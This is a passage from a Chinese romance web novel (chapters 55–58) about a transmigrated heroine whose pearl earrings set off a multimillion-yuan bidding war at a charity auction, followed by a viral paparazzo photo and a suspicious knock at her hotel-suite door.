“你……!”赵文泽恨恨地抬起手,几乎忍不住想揍这个儿子,但他不知道想起了什么,一张脸憋得阵青阵红,那一巴掌还是没能打下去。 最后,他冷哼一声,板着脸拂袖而去。 离开前,赵文泽阴沉的目光再次射向姜以柔。 看着那个女人在万众瞩目下坦然微笑的模样,赵文泽不由得眸光微暗。 之前他敢直接提出包养姜以柔,无非是看准了她无权无势,可以随意捏扁揉圆。 但现在,她被这么多人窥见了美貌,若未来真的依附上一个连他都不敢撼动的大人物……那他岂不是彻底没有希望了? 赵文泽死死盯着姜以柔,眼底燃着浓烈的不甘和欲望。 如果他还想得到这个女人,恐怕要尽快出手了。 赵文泽最后深深地望了姜以柔一眼,面无表情地转身离开了宴会厅。 他的离去没有引起任何人的注意,只除了他的儿子赵承。 赵承目送他的父亲离开,直到再也看不见那道背影,才悠悠地收回视线。随即他隐晦地望向那个漂亮得近乎刺目的女人,神情变得有些复杂。 此时此刻,姜以柔的那对珍珠耳坠正在如火如荼的拍卖中,但她本人脸上的笑容却有些勉强。 顾星延单手插兜,另一只手举牌,平淡的嗓音中透着股势在必得的强势,说道:“八百万。” 这个叫价一出,热血上头的众人仿佛被迎面泼了一盆冷水,喧闹的人群安静了一瞬。 饶是美人动人心,但八百万拍一对普通的珍珠耳坠……确实有点超出他们的预算了。 或许……不用非得拍下美人的耳坠去讨好,他们也可以通过别的渠道去认识那位姜小姐? 不少参与过竞价的人都打了退堂鼓。 只有顾星延唇角微勾,一派洒脱坦荡,他是真的不把八百万放在心上。 旁边,姜以柔实在忍不住了,悄悄扯了扯他的衣角,低声道:“顾先生,不要冲动。” 顾星延低首垂眸,专注地凝视着她,那双深邃的桃花眼中是几乎能将人溺死的深情,“我没有冲动。” 顾星延的目光贪恋地流连在她的脸庞,最后停留在白玉般小巧的耳垂上。 只有他知道,那对珍珠耳坠是她亲手摘下来的,带着她的体温,浸着她的香气…… 他不允许那对耳坠落在其他任何人手中。 姜以柔深感无奈,只觉得脑门一抽一抽的疼,她第一次有种无语的感觉。 她一朝穿书后就成了赤贫阶层,“坑蒙拐骗”这么久,存款也没有八百万呢。 结果她随手拿出的耳坠倒是拍出了天价……可这八百万一分都落不到她的口袋里啊! 姜以柔深吸一口气,勉强维持着温柔的浅笑,她盯着顾星延一字一句认真道:“千万不要再加价了,我是认真的。” 你这八百万还不如直接给我呢! 顾星延耸了耸肩,顺从地应道:“好,听你的。” 反正,应该也没人再跟他抢了。顾星延漫不经心地想道。 的确。在顾星延喊出八百万的天价后,宴会厅里已经安静了许久,再没有一个人加价。 他们都是豪门圈子里最有钱的一拨人,当然不至于连八百万都拿不出,只是…… “唉,别喊价了。你没看出来那位顾大明星对这耳坠势在必得吗?人家一方面背靠豪门顾家,另一方面还是娱乐圈星光最盛的天王级人物,谁敢跟他比现金流啊?” “你看他那豪掷八百万眼睛都不眨一下的模样,就知道他更多钱也出得起,何必跟他硬刚呢?” “也是。反正注定抢不过他,加价还容易得罪了这位顾大明星,得不偿失啊。” 想明白其中关窍后,众人都讪讪地收了手。 “八百万一次,八百万两次……” 顾星延唇角微勾,眼角眉梢都漾着股春风得意。 然而,就在顾星延以为自己稳操胜券的时候,主持人的拍卖锤还没来得及落下,便突然顿住了。 他扶住耳麦,认真地倾听着什么,随即脸色古怪地说道: “这……不好意思诸位,刚接到来自场外的贵宾出价——” “一千万!” 全场哗然。 八百万一对的耳坠已经够离谱了,没想到竟然能叫价到一千万! 顾星延笑意骤凝,温柔含笑的桃花眸中泛起冷意,他若有所思地蹙了蹙眉头。 来自场外的加价? 谁? * 同一时间,B市。 方氏旗下的分公司灯火通明,因为他们的方总来出差了,连方总都没有休息,他们又怎么敢懈怠? 苏正匆匆走近总裁办公室,轻轻敲了几下门,得到允许后,微低着头走了进来。 方隐年经常来B市出差,这里的办公室与他在总部的别无二致,都是极致的简约风,像他这个人一般冷淡、简朴,仿佛没有俗世的欲念。 “方总,您还记得永利集团举办的慈善宴会吗?就在今晚开始。既然您不得已缺席了,那要不要随便拍点什么……”苏正恭谨地说道。 永利集团是他们的合作伙伴,哪怕不去参加所谓的慈善晚宴,但面子还是要给的。 方隐年正埋首在各种公务中,闻言停下了手里的动作。 他仰靠在办公椅上,一边揉着眉心一边淡声道:“都有什么拍品?” 苏正立刻递上平板,上面显示着主办方发来的拍卖品清单。 方隐年漫不经心地翻看着,本想随便点个顺眼的物件,但眸光却忽的凝住了。 他指尖微僵,不受控制地停在一对熟悉的珍珠耳坠上。 前几天的家长会上,他曾亲自弯腰,从地上捡起这对不慎掉落的珍珠耳坠,然后…… 亲手交还到姜以柔的手中。 他甚至还能回想起那天,不经意间触到姜以柔掌心时的那份温腻柔软,以及心底那一瞬间的躁动。 方隐年神情微怔,点在那对珍珠耳坠上的指尖竟有些发颤。 他抿了抿唇,怀着复杂地心情点开了这对耳坠的详情介绍。 在看到捐赠者真的是姜以柔时,他深吸一口气,下颌紧绷,显出几分隐忍。 他沉默得太久,久到苏正的微笑都有点僵硬了,试探地询问道:“……方总?” 半晌,方隐年闭了闭眼,像是妥协又像是无奈,他的嗓音略有些哑,低声道:“拍这件吧。” 正是那对珍珠耳坠。 “好的,方总。”苏正从善如流地接过平板,转身便要去处理这件事。 方隐年单手撑额,久久未动,高大的身躯几乎和窗外的夜色融为一体,沉默得像一尊雕像。 那双清冷狭长的凤眸隐在阴影中,透着复杂难言的暗色。 明知道自己正在坠向深渊,可他却控制不住沉沦。 苏正刚触到门把手,便突然停住了脚步,他转身看向方隐年,迟疑地询问道:“方总,请问您对拍下这珍珠耳环的心理价位是多少呢?” 方隐年垂着头一动不动,良久,他轻轻叹了口气,平淡地说道: “上不封顶。” 第55章 S市, 慈善晚宴。 当那对属于姜以柔的珍珠耳坠,被某位场外贵宾喊出一千万的天价时,晚宴现场迎来更长久的沉默。 众人面面相觑, 都从彼此的眼中看到了浓浓的不敢置信。 良久,有人微不可察地叹了一声:“美人如刀啊!” 有人听到了这句感慨,微微一怔, 随即面色颓然地沉默了。 这一刻, 那些对姜以柔产生了强烈的追逐心的人们,犹如当头一盆冷水浇下, 蓦地浇灭了他们那颗躁动狂热的心。 他们终于意识到,姜以柔的美貌固然值得他们一掷千金,但是……最终恐怕连她的一片衣角都难以触摸到。 这样近乎妖异的美貌, 几乎算是可以伤人的利器了。 她的一双耳坠便已然引起了这般激烈的争夺, 那么……等轮到美人真正的归属时,又会是何等的血雨腥风? 一般的有钱人,甚至没有资格参与进这场争夺中。 而他们,真的愿意为了一个缥缈如仙、可望而不可即的美人, 去掏空家财, 甚至付出一切吗? 更何况,哪怕他们真的愿意付出一切,也不一定抢得过真正的权贵。 这时, 在场很多人终于清醒了不少。 自古以来,绝色美人只有真正的枭雄才配拥有。 他们再怎么努力, 也大概率是炮灰罢了。 自此, 大多数人都歇了心思,再望向姜以柔时面上满是怅然之色。 唉,算了, 多看两眼就是赚到! 一切只发生在电光石火之间,对珍珠耳坠的争夺仍在继续。 顾星延冷哼一声,转瞬将答应姜以柔不再加价的话抛到了脑后,他面无表情地举牌:“一千一百万。” 姜以柔身体微僵,要不是被这么多人盯着,她真想揪着他的耳朵让他冷静一点。她勉强保持着假笑,私下里轻轻拽了拽顾星延的衣摆。 顾星延假装没懂她的暗示,只目光灼灼地盯着台上的珍珠耳坠,眼底是势在必得的强硬。 他倨傲地冲台上的主持人扬了扬下巴,意思是让他赶紧继续。 台上的主持人也是见过大风大浪的,第一次有种尴尬无措的感觉。他呵呵尬笑两声,说道:“这个……场外贵宾表示,不管什么人出价多少,他都会再加两百万……” “上不封顶。” 此话一出,全场寂静。 众人目瞪口呆地想道:至于吗……真的至于吗?! 他们恍恍惚惚地望向耳坠的主人,又一次被那神赐般的颜值晃到了眼。 大概……真的至于。 他们的心情都很是复杂,这一瞬间,倒是切切实实地体会到了,何为“祸国殃民”…… 众人震惊间,顾星延的面色已经彻底沉了下来。 他气极反笑,冷冷地挑了挑眉梢——跟他竞价? 好。 比财力,顾星延根本不惧,他沉着脸又要举牌,但是……没举起来。 姜以柔终于忍不住了,一把抱住他的手臂,硬是止住了他不断叫价的举动。 她美丽的脸庞上仍带着温婉的浅笑,但那笑容怎么看都有点勉强,且望向顾星延的眼神里隐隐带着警告。 姜以柔一字一句认真地说道:“别再加价了。” 如果这对珍珠耳环拍出的钱能落到她手里,那姜以柔自然乐得见到这冤大头一般的加价行为,甚至不介意亲自添一把火。 可关键是这些钱落不到她口袋里!再这样闹下去也只会白白让人看了笑话。所以她果断出手制止了。 顾星延皱着眉头,俊美的脸上明显带着不甘心,轻声抗议道:“我有钱……” “我知道你有钱。”姜以柔压着火气哄劝道,“但是你的钱可以用来做更有意义的事情呀……” 比如给她花! 不要再给这什么慈善宴会送钱了好吗?她还能不知道这群有钱人的德性?这钱不可能真的用于慈善! 然而,顾星延属于男人的好胜心已经被彻底勾起,更何况,他不想在姜以柔面前输掉。 他微微眯起一双桃花眼,眸中满是冷色。 眼看着顾星延一意孤行地又要举牌,姜以柔只能再次加重语气,警告般沉着脸喊道:“顾先生。” 姜以柔微蹙着秀气的眉头,向来温柔的脸庞第一次这般严肃,连柔媚的嗓音中都带着股不耐烦的寒意。 顾星延身形一顿,不由得低头深深地看着她。他纠结地抿起形状好看的薄唇,片刻后,终于是妥协般垂下了手臂。 “一千三百万一次,一千三百万两次……成交!” 终于,这对珍珠耳坠最终以一千三百万的价格被某位场外贵宾收入囊中。 姜以柔总算松了口气,同时心里也忍不住泛起了嘀咕——这是哪里来的冤大头? 她的旁边,张茜已经完全呆住了。 她万万没想到,当初随手送出的几万块的耳坠,竟然能拍出一千多万的天价! 那对珍珠耳环大概是她这辈子最成功的一次投资…… 不对。张茜猛地转头看向姜以柔,目光灼热。 她这辈子最成功的一次投资……其实是她。 顾星延死死盯着那对被撤下台的耳坠,一双桃花眼中翻涌着强烈的不甘,眉头拧得很紧。 他幽幽地叹了口气,有些咬牙切齿地低声道:“到底是谁……” 听到这句呢喃,姜以柔也不由得陷入了沉思。 在场的人打破脑袋去抢那对珍珠耳坠,倒是多少可以理解,毕竟姜以柔就在他们眼前。 有这样的美貌刺激着,一时血涌上头也是正常的。 但是那位场外贵宾,按理说应该不知道姜以柔长得这般漂亮,却愿意花一千多万买一对平平无奇的珍珠耳坠,实在是奇怪。 难道……所谓的场外贵宾,是老熟人? 姜以柔若有所思地眨了眨眼睛。 在她认识的人中,有能力说一句“上不封顶”的人……好像暂时就一个吧? 姜以柔轻轻勾起唇角,那弧度有些意味深长,美眸中满是兴味。 她拿出手机,找到方隐年的对话框,施施然发了一条消息: 【喜欢我的耳坠?】 消息发出后,姜以柔笑得像只狡黠的狐狸,她也不在乎方隐年的回复,更懒得去想象他看到消息后会作何反应。反正只要调侃过这一下,她就心满意足了。 她漫不经心地划了划手机,最终落在一个熟悉的名字上。 谢凛。 看到这个名字,姜以柔神情微怔,随即缓缓蹙起眉头,眼神略显复杂。 她跟谢凛最后的聊天记录在三天前。 她故意给谢凛发消息,说家里的水管又坏了,想趁着他来家里的时候,再勾着他做些什么。 姜以柔从未想过谢凛拒绝她的情况,因为一次又一次的事实证明—— 谢凛永远不会拒绝她。 而那一次,谢凛的确没有拒绝她修水管的请求,只是…… 他竟然请了个真正的水管工来,帮她修水管,最离谱的是他还专门找了位女性水管工。 他自己却根本没有露面,甚至连她的消息都没回。 姜以柔当时气得要命,客气地挥别了那位女性水管工后,直接打电话骂了他一通。 谢凛接她的电话依旧是秒接,他全程沉默着听完她的愤怒、委屈和抱怨,却还是一个字都没说,手机里只有沉重的呼吸声。 姜以柔静静地看着属于谢凛的聊天框,忍不住幽幽地叹了口气。 唉,这家伙比她想象中还倔。 一般的男人但凡接到她抛下的橄榄枝,没有不欣喜若狂上赶着的,像谢凛这样拒绝了,且一直未曾动摇的,简直绝无仅有。 名分就那么重要吗? 姜以柔抿了抿唇,有些无奈地叹了口气。 “姜小姐,怎么了?”顾星延一直密切关注着姜以柔,此时见她叹气,略显担忧地询问道。 姜以柔立刻收敛了神色,露出一个柔婉的笑,“没什么。” 顾星延眉梢微挑,不知是否信了她的托辞,只温声道:“有任何事,都可以跟我说。” 顾天王这样深情而温柔的承诺,若是被外界知道了,定然会引起轩然大波,也会引起无数粉丝的眼红。 但姜以柔只是淡淡地笑了笑,分外平静。 珍珠耳环是拍卖会的一个高潮,接下来的拍品都比较正常。所有人都有些心不在焉的,时不时扭头看一眼姜以柔,连台上的各色珠宝古书画都没了吸引力。 姜以柔静静地看着一样样拍品,突然侧身问旁边的张茜,道:“张姐,你有什么喜欢的东西吗?” 张茜翻了翻手里的拍卖品名册,指着即将呈现的一条猫眼石项链说道:“我挺喜欢这个的。” “可惜啊,再也买不起了。”张茜苦笑一声。 姜以柔笑着拍了拍她的肩膀,没有说什么。 然后,等到那条猫眼石项链开始竞价时,姜以柔第一个举牌了: “七十万。” 清柔妩媚的嗓音响起,瞬间吸引了全场的注意。 张茜先是一愣,然后急得直扯姜以柔的手臂,低声道:“以柔,你这是做什么?咱们哪有闲钱去拍这么贵的项链啊?” 姜以柔漫不经心地笑了笑,说道:“放心,我不是真的要拍它。我只是……” “告诉他们,我想要它。”姜以柔轻轻地哼笑道,像妖精魅惑的低语。 张茜还没来得及反应过来,姜以柔到底是什么意思,场内再次沸腾起来了。 “八十万……八十万!” “一百万!妈的谁都别跟我抢,我要拍了送给姜小姐……” “轮得到你送吗?一百二十万……” 张茜:“……” 这特么也行?! 第56章 姜以柔只是出了一次价, 那条猫眼石项链瞬间便成为最火热的拍品之一,仅次于姜以柔的珍珠耳坠。 激烈的角逐后,那条猫眼石项链被顾星延以五百万的价格拍下了。 他气定神闲地出价, 每次都比旁人多出价20万,不见丝毫迟滞。 他摆明了对那条猫眼石项链势在必得,而他也确实有这个财力, 所以渐渐的也没人跟他竞争了。 最终, 猫眼石项链被顾星延收入囊中。 有几个跟顾星延竞价的人嘴都快气歪了,忍不住拿眼刀子去刮顾星延, 心里直冒酸水。 一想到他要拿着那条项链跟美人儿献殷勤,他们就十分不爽。 顾星延倒是丝毫不掩饰拍下这条项链的意图,坦荡地对身旁的女人笑道:“姜小姐, 这条项链送给你, 感谢你今晚的陪伴,让我有了一个美好的夜晚。” 顾星延垂眸深深地凝望着她,那双桃花眼本就多情,此时更是温柔得几乎将人溺毙。 恐怕任何一个女人, 都很难抵住这样的深情攻势。 就连刚受了情伤、发誓再也不会相信男人的张茜, 都忍不住捂着胸口感叹了。 她一会儿看看顾星延,一会儿看看姜以柔,这两人好看到简直是一场视觉盛宴, 从眼睛到心灵都被净化了,就像看偶像剧似的。 可惜, 姜以柔并不是一般人。 在顾星延的甜言蜜语下, 她羞涩地垂眸一笑,唇角的弧度很甜蜜,但那双美丽的眼眸深处却是冷静的。 顾星延的眸光始终锁定在她的身上, 看清姜以柔眼底的漠然后,有些意外地扬了扬眉梢。 不过,他非但不感到沮丧,反而饶有兴味地勾起了唇角,微眯的桃花眸中漾着势在必得的自信。 拍卖会继续,顾星延又陆陆续续拍下了好几件藏品。 全部都是各式各样名贵华丽的首饰,为谁买的显而易见。 他一口气花了这么多钱,却连眼睛都不眨,那云淡风轻的模样仿佛不管多少钱,对他来说都只是数字一般。 张茜从最开始的震惊、激动,到最后都麻木了。 她羡慕地看着姜以柔精致完美的侧脸,怅然地叹了口气。 下辈子让她也长姜以柔那模样吧,求求了! 不过,在拍卖会即将结束的时候,顾星延的手机一直在响,他有些不耐烦,但电话像催命般打进来,他无奈只能接起。 当红明星注定没那么清闲,他之所以来参加这次慈善晚宴,当然也是有正事要办的。 他能甩掉工作人员,跟姜以柔单独相处这么长时间,已经很不容易了。 接完电话后,顾星延的脸色有些不好,但在面向姜以柔时立刻恢复了笑意温柔的模样。 “姜小姐,我要暂时离开一下。”顾星延温声道,面上带着明显的不舍。 姜以柔立刻冲他微笑道:“顾先生,你去忙吧,我这边没关系的。” 顾星延恋恋不舍地望着她,半开玩笑地说道:“我怎么感觉你好像挺希望我快点走的。” “怎么会呢?”姜以柔故作惊讶地反问道。 顾星延爽朗一笑,不在这个问题上过多纠缠,温声道:“一会儿拍卖结束,我会让人把拍下的东西送到你手里。” 姜以柔一点儿都不意外,而且十分坦然地接受了他的馈赠:“谢谢你,顾先生。” 想到那些美丽的首饰,姜以柔脸上的笑容都真诚了几分。 顾星延最后深深地看了她一眼,转头快步离开了。 不少人都明里暗里地注意着这边,此时见顾星延离开,顿时像被肉味吸引的狼一般,难免蠢蠢欲动。 刚才碍于顾星延在,他们不好上前。现在大美人是一个人了,或许可以套套近乎? 不少人蓄势待发,只等着拍卖会结束后去认识一下姜以柔,但他们万万没想到,顾星延准备得很全面。 拍卖会结束后,他的助理亲自找上了姜以柔,并在众人眼巴巴的注视下,带走了姜以柔。 姜以柔要去领取顾星延拍下的那些商品,他可以说是全场消费最高的人,理所当然地受到了最好的服务。 张茜目送姜以柔离开后,百无聊赖地找了个角落喝酒。 她随便扫视一眼,就看到了不少熟人,但她不想硬凑上前跟他们寒暄,反正也只会是自讨没趣。 但她不想招惹人,偏偏有人要来招惹她。 “张茜?” 熟悉的声音让张茜身体一僵,从心底漫上一股凉意。 有个人飞快地追上她,绕到她身前,压低声音愤怒地指责道:“你怎么来了?!” 张茜静静地打量着眼前的男人,这是她同床共枕二十多年的老公,最终却狠狠背刺了她。 张茜微扬着下巴,丝毫不露怯,冷哼一声道:“我来不来,跟你有什么关系?” 这时,男人旁边那个风韵犹存的美妇捂嘴轻笑道:“茜姐,以你现在的生活水平,是收不到邀请函的——你该不会是混进来的吧?” 此话一出,男人脸色骤沉,冷哼道:“张茜,不管你想做什么,我警告你,不许胡闹!我已经答应了送女儿出国留学,你如果敢当众胡闹,小心我翻脸……” 张茜翻了个白眼,不屑道:“少给自己脸上贴金,我可不是为了你们这对烂人来的。” “那你来做什么?”女人上下打量着张茜,眼里是明晃晃属于胜利者的讥嘲,“别告诉我真是来参加慈善拍卖的,你应该没钱了吧?” “而且……你看你孤零零一个人呆在这里,也没人理你,看着真是可怜,何必这么自讨没趣呢?” 哪怕张茜再怎么告诉自己别跟贱人一般见识,此时也被气得浑身颤抖。 就在她想不顾一切冲上去狠揍这对贱人时,身后传来的轻柔嗓音,瞬间抚平了她的暴躁。 “张姐,我回来了。” 姜以柔款步走到张茜面前,连个眼风都没分给张茜的前夫和小三。 她笑着拿出那条张茜亲口说过喜欢的猫眼石项链,炫耀般柔声道:“好看吗?” 张茜眼睛一亮:“好看。” 姜以柔轻笑着道:“我帮你戴上。” “别!”张茜连忙摆手拒绝,“这太贵重了。” 况且,这可是顾大明星送给姜以柔的,转送给她的话,不太合适。 姜以柔却直接绕到她身后,不容抗拒地将项链戴到了她的脖颈上。 姜以柔温热柔软的身躯轻轻贴着张茜的后背,那双柔弱无骨的手轻轻撩起她的长发,细致地为她戴好项链。 这样温柔而珍视的动作,竟让张茜鼻子一酸,有种想哭的冲动。 戴好项链后,姜以柔随即绕到她身前,望向她的目光中满是欣赏,她认真地说道:“张姐,你这么好的人,值得最好的。” 张茜微微一怔,随即用力点了点头,她脸上在笑,眼底却泛着点泪花。 此时此刻,被出轨、被离婚后的一切自我怀疑和痛苦,都随着姜以柔的宽慰随风消散了。 张茜扬着下巴睨了眼对面的两人,挺胸抬头道:“我确实买不起这里的拍卖品,但我命好,有人愿意送我呢。” 姜以柔送的,姜以柔亲手给她戴上的——就问还有谁?! 直到此时,张茜的渣男前夫才堪堪回神。 “你……你怎么认识姜小姐?”前夫不敢置信地问道。 他从刚才就注意到了貌美的姜以柔,也曾心猿意马,可他万万没想到,自己的前妻竟然认识姜以柔,而且似乎非常熟悉! 前夫的眼神顿时火热起来,腆着脸凑上前道:“姜小姐,我是茜茜的……呃,朋友。” 说起自己和张茜的关系时,男人有一瞬间的不自然,但很快就若无其事地继续道:“能交换个联系方式吗?” 姜以柔淡淡地瞥他一眼,吐出几个字:“你真恶心。” “滚远点。” 前夫的脸色有些尴尬,但他的眼睛就是舍不得从姜以柔脸上移开,只能讪讪地陪着笑脸,点头哈腰的。 他身边那位趾高气扬的新老婆,不由得气到脸色铁青。 任谁看到老公当着自己的面,对其他女人献殷勤,心里都不会好受的。 “老公……”女人扯了扯他的衣袖,不悦地想要制止他。 男人却狠狠地瞪她一眼,那一眼毫不留情,充满了警告意味,将她吓了一跳。 然后男人又继续对着姜以柔谄媚。 张茜静静地看着前夫的丑态,这一刻终于彻底释怀了。 她恨之入骨的小三,费尽心思从她手里抢走的,不过是个烂男人而已——见一个爱一个的烂男人。 她已经自由了,可这个女人余生都要防备着这个烂男人再次出轨,直到被折磨成一个疑神疑鬼的神经病。 张茜打量着女人面上扭曲又愤恨的神色,讽刺地笑了笑。 “以柔,我们走吧。”张茜笑着拉起了姜以柔的手。 两人想要离开,张茜的前夫又厚脸皮地非要贴上来。 正当她们感到不耐烦时,顾星延终于又出现了。 他主动圈住姜以柔的肩膀,微笑着望向张茜的前夫,目光里全是冷意,“这位先生,你有事吗?” 不等男人回答,姜以柔适时地说道:“请不要再纠缠我了。” 闻言,顾星延深深地看了他一眼,眸中盛满了警告之意。 张茜的前夫瞬间驻足,尴尬地挠了挠头,不敢再上前了。 顾星延垂眸看向姜以柔,温柔地说道:“我们走吧。” “好。”姜以柔顺从地跟着他离开。 就在这时,顾星延敏锐地感觉到一掠而过的反光,常年应付各种偷拍和狗仔的他,条件反射地一把将姜以柔按在胸口,严严实实地挡住了她的脸。 顾星延眼眸微眯,猛地朝上方看去,正对上二楼一个鬼鬼祟祟拿着相机的人。 那人见他发现,立刻转身跑走。 顾星延心里一紧,立刻沉着脸喊来助理,低声吩咐他去抓住那个偷拍的人。 他被偷拍无所谓,但姜以柔绝对不能和他一起被曝光,那会给她带来无尽的麻烦。 然而,事情远比顾星延预想中发酵得更加迅速,当晚,一则小道消息登上新闻头条,瞬间引爆了网络。 【惊!顾天王铁树开花,温柔环抱一女子!】 【究竟是什么样的女人,能引得顾天王折腰?】 第57章 在网上迅速传播开来的, 是一张照片。 照片是俯视的角度,正中央是一对男女,而周围所有衣着华贵的人和豪奢的饰物都成了陪衬。 照片上的男人正是万众瞩目的顾天王, 他穿着一身剪裁得体的高定西装,完美勾勒出那修长有力的身躯,哪怕是俯视的死亡角度, 一双腿都长得惊人。 他正面对着镜头, 或许他真的是天生巨星,找镜头的能力一绝, 照片就定格在他仰头直视镜头的那一瞬间。 顾星延的五官俊美精致得极富冲击力,照片中的他冷着一张脸,盯着镜头的眸光格外凌厉, 明明是仰视的动作, 却愣是有种居高临下的睥睨气场,充满了锋锐的警告意味。 在他的怀中有一个女人,他一手横过女人的肩头,另一只手抚在她的后脑, 动作强势地将人按在怀中, 是一个具有强烈保护欲和占有欲的动作。 而他也确实将女人的容貌藏得严严实实。 众人只能根据照片上那个纤细窈窕,长发披肩的背影,猜测那是个容貌不俗的女子。毕竟她能被顾天王这般小心翼翼地护在怀中, 肯定不会丑就是了。 这张出自狗仔之手的偷拍照片,竟意外的有冲击力和艺术感。 高大英俊的男人环抱着娇小的女人, 他的一条小臂就可以横过女人的肩头, 浑身逸散着属于雄性的荷尔蒙,强烈的体型差和他富有攻击性的眼神,让这张照片有一种莫名的张力。 同时, 也让人不由得更加好奇,他怀中的女人到底是谁。 什么样的女人才配得上俊美至极的顾天王呢? 这张偷拍照始一泄露,立刻在网络上疯传,同时引起了众多讨论,微博的服务器都一度瘫痪了。 【我靠,顾星延这是谈恋爱了?】 【啊啊啊我心碎了!不要谈恋爱不要谈恋爱不要谈恋爱!】 【我说你们粉丝能别发癫吗?人家顾星延都出道十多年了,年纪也快三十了,找个对象不是很正常吗?】 【我们粉丝从来没有说不让顾哥谈恋爱,只是希望他能找个配得上他的人而已!】 【那配不配得上也不是你们粉丝说了算啊,别一副正宫姿态在那儿挑拣了吧?无聊。】 【不过说实话,就凭顾天王的颜值和能力,也确实很少有能配得上他的女人吧?别说粉丝了,我都有点嫉妒那个被他抱在怀里的女人……】 …… 很快,又有更劲爆的消息传了出来。 据说,顾星延在慈善拍卖会上为了这个女人的一对耳坠大动干戈,不惜以高出耳坠市价千百倍的价格竞拍,可最离谱的是,他居然竞拍失败了…… 据说,顾星延豪掷千万,拍下无数珍宝赠予这个女人…… 而所有透露过消息的人,都反反复复强调过一件事—— 那个女人,非常非常美。 美得几乎不似真人。 甚至有人言谈间表现出顾星延配不上她的意味,令人不敢置信。 这一张照片激起了千层浪,更引发了无数传闻,而有些传闻在众人看来简直是无稽之谈。 【你是说顾星延为一个女人做到这种程度?扯的吧,他完全不像恋爱脑。】 【所以……那个女人到底是何方神圣?这届狗仔不行啊,怎么就没拍到正脸呢!】 【说顾星延配不上的人是疯了吗?我还真不信那女人能美到哪里去!】 【不是,这也太假了吧?什么女人能美到让全场震撼失语的程度?你以为你写小说呢?】 【顾天王应该是在XXX酒店参加慈善晚宴吧?有没有人脉能混进去看看啊?】 【这个酒店离我不远,我现在就去门口蹲点!】 【呵呵,我也现在出发,我倒要看看他们吹上天的人能有多漂亮!】 …… 这张照片所引发的波澜,远比他们想象中要大。 顾星延的手机已经快被打爆了,经纪公司、合作的品牌方,甚至他的家人朋友,全都在问他到底是怎么一回事。 顾星延明明想多跟姜以柔联络下感情,却被这些杂事烦得焦头烂额。 他看着姜以柔的目光中满是歉意,说道:“抱歉,姜小姐,给你添麻烦了。” 姜以柔摇摇头,说道:“没关系。” 反正她的正脸没暴露,这算不上什么问题。 顾星延沉默片刻,有些不舍地叹气道:“姜小姐,抱歉,我得离开了。” 姜以柔十分善解人意地点头道:“顾先生,你去忙吧。” 顾星延握紧了手机,他们刚刚才交换了联系方式。 顾星延专注地盯着她,那双桃花眼深邃而明亮,他笑着挥了挥手机,问道:“之后我如果约你的话,你会来吗?” 姜以柔轻笑出声,潋滟的眸中像是落了星子,更加动人,她柔声道:“大明星的邀约,我当然会去。” 顾星延笑意愈深,眼下的那颗泪痣更显得勾人,他挑了挑眉,潇洒从容地冲她挥手告别,“那就等我的邀约吧。” 姜以柔笑着跟他道别。 不过就在这时,顾星延的助理小跑上前,满头大汗地附耳说了些什么。 “顾哥,宴会地址暴露了,现在酒店外面都是狗仔,还有好多粉丝,应该都是冲着你和姜小姐来的……” 顾星延离去的脚步一顿,俊美的脸庞瞬间沉了下来。 他深吸一口气,深深地看了助理一眼,那双多情的桃花眼中难得显出几分厉色,低声喝道:“加派人手,把周围窥探的那些人都赶走。” 助理满脸尴尬地说道:“这……恐怕有点难度。” 酒店外面的大街又不是私人所有,他们不太好赶人。 闻言,顾星延狠狠皱了皱眉头,眸光阴沉不定,显然很是不悦。 过了一会儿,他转身回到姜以柔身边,满脸歉意地说道:“姜小姐,现在酒店外面蹲守了很多人,他们认得你穿的这条裙子,你暂时先不要离开这里。” 面对姜以柔时,他脸上的厉色尽数褪去,温柔的嗓音中全是安抚之意。 自从那张照片被爆出,宴会的地址随即也被扒出来。幸好宴会安保严格,不是什么人都能混进来的,可酒店外围却来了很多人,有狗仔也有粉丝,都想看清楚被他抱在怀里的女人的真容。 姜以柔现在绝不能露面,否则不知道会有什么麻烦。万一有个别极端的粉丝想伤害她…… 顾星延深吸一口气,不敢多想。 姜以柔怔了怔,有些为难地说道:“那……我什么时候能回家啊?” 顾星延蹙眉沉思片刻,说道:“这样吧,我帮你在这间酒店里开个房间,你今晚就在这儿休息。然后我会让助理送你一身新衣服,你明天换上衣服,把脸遮得严实一点,再偷偷离开。” 顾星延面带愧疚之色,再一次真诚道歉:“真的对不起,是我给你带来了麻烦。” 姜以柔不甚在意地摆了摆手,“真的没关系。” 说起来,还是她利用顾星延混进了宴会,她今晚也得到了不少情报,收获很大。她应该感谢他。 姜以柔从善如流地答应了顾星延的提议,笑着道:“那就按照你说的办吧。” “难得能住这么好的酒店,我得好好享受下。”姜以柔抿唇一笑。 顾星延眸光微软,动容地望着她。 他知道,姜以柔之所以这么说,是因为不想让他有负担。 顾星延张了张嘴,还想继续说些什么,他的手机又一刻不停地响了起来,吵得他几乎无法思考。 顾星延无奈地叹了口气,说道:“姜小姐,我必须得走了。” 走之前,顾星延把他的助理留下了,让他负责帮姜以柔解决问题。 助理很能干,很快就帮姜以柔开好了房间,是这家超五星级酒店的总统套房,里面甚至是三室两厅的结构,可谓豪华至极。 助理把房卡递给姜以柔,然后就马不停蹄地去帮她买衣服。 姜以柔本想邀请张茜跟她一起享受一晚总统套房,但张茜虽然一副很心动的样子,最后却还是拒绝了。 “我得回家陪着女儿,不然她一个人睡觉会害怕的。”张茜无奈地笑道,面上满是母性的慈爱。 姜以柔这才想起,她也有个便宜闺女来着。 她当即给家里人发信息说了一声,今晚不回去了。然后,她挥别了张茜,自己则捏着房卡上了顶楼。 刷开总统套房的门后,姜以柔饶有兴趣地打量着里面的一切,不由得感慨道:“好久没住过这么好的酒店了。” “自从穿来这个世界,我受了多少罪啊!”姜以柔幽幽地叹道。 姜以柔饶有兴致地在房间里转了一圈,她已经挑好了今晚睡觉的房间,因为那个房间的床看起来最舒服。 过了一会儿,门口传来敲门声,然后是一道低沉含糊的声音:“姜小姐,我来给您送衣服。” 姜以柔有些意外地挑了挑眉梢,“这么快?” 她快步往门口走去,就在即将触到门把手时,手机突然震动了一下。 她下意识地低头看去,脚步骤然顿住。 她收到了一条短信,里面只有的一句话: 【有人想伤害你,不要开门!】 姜以柔盯着手机,缓缓皱起了眉头。 第58章 姜以柔僵在原地, 直勾勾地盯着这条短信,眉心渐渐皱了起来。 陌生的号码,意味不明的短信, 还有……持续不断的敲门声。 这一刻,姜以柔有种寒毛直竖的悚然感。 房门一直被有节奏地敲响,门外还传来模糊的声音:“姜小姐, 你在吗?麻烦开一下门, 我来送衣服。” 姜以柔深吸一口气,放轻脚步走到门边, 她踮起脚尖,透过猫眼往门外看去—— 